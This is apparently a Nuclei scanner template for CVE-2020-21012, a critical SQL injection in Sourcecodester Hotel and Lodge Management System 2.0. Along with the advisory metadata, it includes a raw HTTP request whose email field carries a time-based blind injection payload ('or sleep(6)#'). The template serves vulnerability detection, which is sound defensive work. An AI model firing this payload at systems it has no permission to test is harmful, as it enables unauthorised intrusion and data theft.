id: CVE-2020-21012

info:
  name: Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    Sourcecodester Hotel and Lodge Management System 2.0 contains a SQL injection vulnerability via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Hotel and Lodge Management System 2.0.
  reference:
    - https://github.com/hitIer/web_test/tree/master/hotel
    - https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-21012
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-21012
    cwe-id: CWE-89
    epss-score: 0.07235
    epss-percentile: 0.93887
    cpe: cpe:2.3:a:hotel_and_lodge_booking_management_system_project:hotel_and_lodge_booking_management_system:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hotel_and_lodge_booking_management_system_project
    product: hotel_and_lodge_booking_management_system
  tags: cve,cve2020,hotel,sqli,unauth,hotel_and_lodge_booking_management_system_project

http:
  - raw:
      - |
        POST /forgot_password.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        btn_forgot=1&email=1%27%20or%20sleep(6)%23

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Hotel Booking System")'
        condition: and
# digest: 4a0a00473045022100ea99d63de90c17ef69343663ae409245371b719ba54e6602d603d1104a3cad99022075d17848133ba876d97f93a848b051ebb60d538253ef1ba0dc3a1c8f0df532fe:922c64590222798bb761d5b6d8e72950